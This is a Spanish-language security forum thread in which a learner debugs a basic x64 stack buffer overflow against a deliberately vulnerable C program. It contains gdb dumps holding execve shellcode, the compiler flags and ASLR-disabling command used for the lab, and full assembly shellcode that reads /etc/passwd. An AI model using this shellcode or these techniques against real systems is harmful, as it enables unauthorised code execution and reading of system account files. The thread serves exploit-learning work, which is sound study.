• Inicio
  • Buscar
  • Ingresar
  • Registrarse

    Solución al problema de saltos de línea al copiar texto de un PDF a Word

    • Hack x Crack - Comunidad de Seguridad informática »
    • Hack x Crack »
    • Dudas Generales »
    • Problema al hacer un buffer overflow x64 basico
    • Imprimir
    Páginas: [1]   Ir Abajo

    Autor Tema: Problema al hacer un buffer overflow x64 basico  (Leído 3720 veces)

    Desconectado L00P3R

    • Semi-rookie Python Hacker
    • { L0 } Ñuub
    • Mensajes: 15
    • I Like breaking things
      • Ver Perfil
    Problema al hacer un buffer overflow x64 basico
    « en: Octubre 21, 2017, 04:07:21 pm »
    Hola, estoy teniendo unos problemas para hacer un buffer overflow a un programa vulnerable muy simple.
    Código: C
    1. #include <stdio.h>
    2. #include <stdlib.h>
    3. #include <string.h>
    4. int main(int argc, char *argv[]){
    5.         char name[50];
    6.         strcpy(name, argv[1]);
    7.         printf("Hi, %s\n", name);
    8.         return 0;
    9. }
    10.  

    He calculado el offset, tengo la address donde empieza mi nop sled, lo tengo todo.
    Pero cuando ejecuto el programa con el exploit en gdb me devuelve esto:
    Código: [Seleccionar]
    Program received signal SIGSEGV, Segmentation fault.
    0x00007fffffffd9a0 in ?? ()
    Pero esque 0x00007fffffffd9a0 es exactamente la direccion a la que quiero que el rip apunte!!
    Que es donde empieza el nop sled, y si, he comprobado varias veces que he calculado el offset y todo bien.
    Código: [Seleccionar]
    0x7fffffffd990: 0x00007fffffffdac8 0x0000000200000000
    0x7fffffffd9a0: 0x9090909090909090 0x9090909090909090
    0x7fffffffd9b0: 0x9090909090909090 0x9090909090909090
    0x7fffffffd9c0: 0x9090909090909090 0x48c0319090909090
    0x7fffffffd9d0: 0x978cd091969dd1bb 0x995f5453dbf748ff
    0x7fffffffd9e0: 0x050f3bb05e545752 0x00007fffffffd9a0
    0x7fffffffd9f0: 0x0000000000000000 0x00007fffffffdac8
    0x7fffffffda00: 0x00000002f7ffcca0 0x0000000000400566
    0x7fffffffda10: 0x0000000000000000 0x28f3adbb07780639
    0x7fffffffda20: 0x0000000000400470 0x00007fffffffdac0
    0x7fffffffda30: 0x0000000000000000 0x0000000000000000
    0x7fffffffda40: 0xd70c52c4bff80639 0xd70c427ea3c80639
    0x7fffffffda50: 0x00007fff00000000 0x0000000000000000
    0x7fffffffda60: 0x0000000000000000 0x0000000000400620
    0x7fffffffda70: 0x00007ffff7de7ab0 0x00007ffff7de77cb
    0x7fffffffda80: 0x0000000000000000 0x0000000000000000
    0x7fffffffda90: 0x0000000000400470 0x00007fffffffdac0
    0x7fffffffdaa0: 0x0000000000000000 0x0000000000400499
    0x7fffffffdab0: 0x00007fffffffdab8 0x000000000000001c
    0x7fffffffdac0: 0x0000000000000002 0x00007fffffffdef6
    0x7fffffffdad0: 0x00007fffffffdf07 0x0000000000000000
    0x7fffffffdae0: 0x00007fffffffdf56 0x00007fffffffdf6b
    0x7fffffffdaf0: 0x00007fffffffdf76 0x00007fffffffdf88
    No se lo que esta pasando, espero que alguien me pueda ayudar.
    Por si os sirve de algo, aqui teneis los registros al finalizar el programa:
    Código: [Seleccionar]
    rax            0x0 0
    rbx            0x0 0
    rcx            0x7fffffad 2147483565
    rdx            0x7ffff7dd3780 140737351858048
    rsi            0x1 1
    rdi            0x1 1
    rbp            0x50f3bb05e545752 0x50f3bb05e545752
    rsp            0x7fffffffd9f0 0x7fffffffd9f0
    r8             0x0 0
    r9             0x53 83
    r10            0x4e 78
    r11            0x246 582
    r12            0x400470 4195440
    r13            0x7fffffffdac0 140737488345792
    r14            0x0 0
    r15            0x0 0
    rip            0x7fffffffd9a0 0x7fffffffd9a0
    eflags         0x10206 [ PF IF RF ]
    cs             0x33 51
    ss             0x2b 43
    ds             0x0 0
    es             0x0 0
    fs             0x0 0
    Ah y tambien he comprobado que el shellcode sea para 64 bits, aqui teneis el link: http://shell-storm.org/shellcode/files/shellcode-806.php
    En línea
    # "Windows NT podrá direccionar 2GB de RAM, que es más de lo que cualquier aplicación va a necesitar jamás"
    -- Microsoft, durante el desarrollo de Windows NT, en 1992

    Desconectado ravenheart

    • { L7 } Juanker
    • *******
    • Mensajes: 1359
    • Todos mis mensajes están bajo la licencia WTFPL v2
      • Ver Perfil
    Re:Problema al hacer un buffer overflow x64 basico
    « Respuesta #1 en: Octubre 23, 2017, 09:58:47 pm »
    Comprueba el contenido del buffer, byte por byte, a ver si es lo que esperas...
    En línea
    You do not need hope if you have drama to back you up.

    Desconectado L00P3R

    • Semi-rookie Python Hacker
    • { L0 } Ñuub
    • Mensajes: 15
    • I Like breaking things
      • Ver Perfil
    Re:Problema al hacer un buffer overflow x64 basico
    « Respuesta #2 en: Octubre 23, 2017, 10:10:09 pm »
    Cita de: ravenheart en Octubre 23, 2017, 09:58:47 pm
    Comprueba el contenido del buffer, byte por byte, a ver si es lo que esperas...

    Pues si, es exactamente lo que quiero.

    NOPS ------ SHELLCODE ------- RET ADDR
        ^<<----- <<------ <<------ <<----- <<-----^
    En línea
    # "Windows NT podrá direccionar 2GB de RAM, que es más de lo que cualquier aplicación va a necesitar jamás"
    -- Microsoft, durante el desarrollo de Windows NT, en 1992

    Desconectado ravenheart

    • { L7 } Juanker
    • *******
    • Mensajes: 1359
    • Todos mis mensajes están bajo la licencia WTFPL v2
      • Ver Perfil
    Re:Problema al hacer un buffer overflow x64 basico
    « Respuesta #3 en: Octubre 24, 2017, 08:33:31 pm »
    ¿Cuál es la dirección de main? ¿Y la de name?

    El buffer está en la pila que debería ser una sección de código no ejecutable. Así que en realidad todo parece normal.
    En línea
    You do not need hope if you have drama to back you up.

    Desconectado animanegra

    • { L7 } Juanker
    • *******
    • Mensajes: 1293
      • Ver Perfil
      • Basura a ver si google lo indexa
    Re:Problema al hacer un buffer overflow x64 basico
    « Respuesta #4 en: Octubre 24, 2017, 11:29:42 pm »
    ¿¿Lo has compilado con los flags de permitir ejecucion de pila?? Tambien suele venir bien quitar la aleatorización de memoria, porque es un incordio. Que es mayormente lo que te esta diciendo raven de una forma algo mas indirecta.
    En línea

    Errante

    Desconectado L00P3R

    • Semi-rookie Python Hacker
    • { L0 } Ñuub
    • Mensajes: 15
    • I Like breaking things
      • Ver Perfil
    Re:Problema al hacer un buffer overflow x64 basico
    « Respuesta #5 en: Octubre 25, 2017, 06:47:15 pm »
    Cita de: animanegra en Octubre 24, 2017, 11:29:42 pm
    ¿¿Lo has compilado con los flags de permitir ejecucion de pila??
    Entonces, le falta algo a este comando?
    Código: [Seleccionar]
    gcc -o vuln vuln.c -fno-stack-protector
    EDIT: Vale, ya tengo como se deberia de compilar:
    Código: [Seleccionar]
    gcc -o vuln vuln.c -fno-stack-protector -z execstacky luego:
    Código: [Seleccionar]
    [email protected] $ echo "0" > /proc/sys/kernel/randomize_va_space
    Sin embargo sique sin functionar, me devuelve SIGSEGV dentro de mi shellcode...
    Y he comprobado que el shellcode esta bien (tengo el .asm y compila y ejecuta bien)
    « Última modificación: Octubre 25, 2017, 08:07:04 pm por L00P3R »
    En línea
    # "Windows NT podrá direccionar 2GB de RAM, que es más de lo que cualquier aplicación va a necesitar jamás"
    -- Microsoft, durante el desarrollo de Windows NT, en 1992

    Desconectado animanegra

    • { L7 } Juanker
    • *******
    • Mensajes: 1293
      • Ver Perfil
      • Basura a ver si google lo indexa
    Re:Problema al hacer un buffer overflow x64 basico
    « Respuesta #6 en: Octubre 26, 2017, 10:55:48 am »
    Te iba a decir que probases a meterlo dentro de una funcion, ya que la funcion main puede dar algún quebradero de cabeza mas, pero si te traga el rts y te lleva a la pila no digo nada.
    Si estas ejecutando desde GDB prueba con algo que no ejecute un shell que se queda esperando a instrucciones de usuario, échale una ejecución de un ls, pruebas y nos cuentas.
    En línea

    Errante

    Desconectado L00P3R

    • Semi-rookie Python Hacker
    • { L0 } Ñuub
    • Mensajes: 15
    • I Like breaking things
      • Ver Perfil
    Re:Problema al hacer un buffer overflow x64 basico
    « Respuesta #7 en: Octubre 26, 2017, 07:50:12 pm »
    Vale esto es muy raro.
    Estoy probando con diferentes shellcodes y hay algunas que no me deja ejecutar el programa a palo seco, sin inyectarlo en ningun programa, pero luego en gdb funciona, y fuera no.
    Luego hay otros que funcionan a palo seco, pero no funcionan ni dentro de gdb ni fuera...

    Este por ejemplo, me funciona dentro de gdb pero fuera no (Te lee el /etc/passwd):
    Código: ASM
    1. global _start
    2.  
    3. section .text
    4.  
    5. _start:
    6. jmp _push_filename
    7.  
    8. _readfile:
    9. ; syscall open file
    10. pop rdi ; pop path value
    11. ; NULL byte fix
    12. xor byte [rdi + 11], 0x41
    13.  
    14. xor rax, rax
    15. add al, 2
    16. xor rsi, rsi ; set O_RDONLY flag
    17. syscall
    18.  
    19. ; syscall read file
    20. sub sp, 0xfff
    21. lea rsi, [rsp]
    22. mov rdi, rax
    23. xor rdx, rdx
    24. mov dx, 0xfff; size to read
    25. xor rax, rax
    26. syscall
    27.  
    28. ; syscall write to stdout
    29. xor rdi, rdi
    30. add dil, 1 ; set stdout fd = 1
    31. mov rdx, rax
    32. xor rax, rax
    33. add al, 1
    34. syscall
    35.  
    36. ; syscall exit
    37. xor rax, rax
    38. add al, 60
    39. syscall
    40. _push_filename:
    41. call _readfile
    42. path: db "/etc/passwdA"

    En línea
    # "Windows NT podrá direccionar 2GB de RAM, que es más de lo que cualquier aplicación va a necesitar jamás"
    -- Microsoft, durante el desarrollo de Windows NT, en 1992

    • Imprimir
    Páginas: [1]   Ir Arriba
    • Hack x Crack - Comunidad de Seguridad informática »
    • Hack x Crack »
    • Dudas Generales »
    • Problema al hacer un buffer overflow x64 basico
     

    • SMF | SMF © 2013, Simple Machines
    • XHTML
    • RSS
    • WAP2
    Va un mudo y le dice a un sordo: Hack x Crack usa cookies. Pues eso... Learn more